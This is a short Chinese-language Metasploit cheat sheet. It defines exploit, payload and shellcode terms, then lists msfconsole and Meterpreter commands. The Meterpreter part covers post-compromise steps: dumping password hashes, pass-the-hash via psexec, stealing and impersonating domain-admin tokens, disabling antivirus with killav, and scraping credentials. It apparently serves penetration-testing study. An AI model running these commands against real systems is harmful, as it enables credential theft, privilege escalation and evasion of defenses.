相关概念
- 渗透攻击(Exploit):指攻击者利用安全漏洞进行攻击的行为
- 攻击载荷(Payload):指期望目标系统在被渗透攻击之后去执行的代码
- Shellcode:指渗透攻击时作为攻击载荷运行的一组机器指令,通常以汇编编写,通常目标系统执行了 shellcode 之后,才会提供一个 shell 或者 Meterpreter shell
- 模块(module): 指 Metasploit 中的一段软件代码组件
- 监听器(Listener):指 Metasploit 中用来等待连入网络连接的组件
Msfvenom
- Payload 生成器
- 显示帮助:
msfvenom -h
# 进入 MSF 命令行
msfconsole
# 显示 MSF 中所有可用的攻击模块
msf> show exploits
# 显示 MSF 中所有可用的辅助模块
msf> show auxiliary
# 显示当前模块正确运行所需要设置的参数
msf> show options
# 显示所有可用的攻击载荷
msf> show payloads
# 显示攻击目标的类型
msf> show targets
# 显示当前模块的使用详情
msf> info
# set 设置参数,unset 禁用设置或取消设置
msf> set/unset
# setg/unsetg 命令能够对全局参数进行设置或者清除
msf> setg/unsetg
# 使用setg命令对全局参数设置后,可以使用save将当前的设置值保存下去,下次启动的时候还可以使用这些值
msf> save
Meterpreter
- Meterpreter 是 MSF 中的一个扩展模块,如果选择了 Meterpreter 作为攻击载荷,就能够取得目标系统上的一个 Meterpreter shell 连接,号称黑客瑞士军刀
- 功能包括:纯内存工作模式、获取密码哈希、提权、跳板攻击等
常用命令
# 获得一个 meterpreter shell,查看当前用户
getuid
# 截屏
screenshot
# 获取系统运行平台的信息
sysinfo
# 查看进程
ps
# 进程迁移,将当前 shell 的进程迁移到指定 PID 的进程
migrate 1712
# 查看当前的进程 id
getpid
# 获取特权
use priv
# 提取 hash
run post/windows/gather/hashdump
# 哈希传递
use exploit/windows/smb/psexec
# 假冒令牌
# 进入一个高权限的 shell,然后靶机上登录过多个账号,包括域管理员,窃取 PID 对应账户的令牌
steal_token <域管理员的PID>
# 或加载:use incognito 来模拟令牌
list_tokens -u
impersonte_token ROOT\\administrator
getuid
# 关闭杀软
run killav
# 或
run post/windows/manage/killav
# 获取目标系统任何信息:用户名、密码、注册表、密码哈希等
run scraper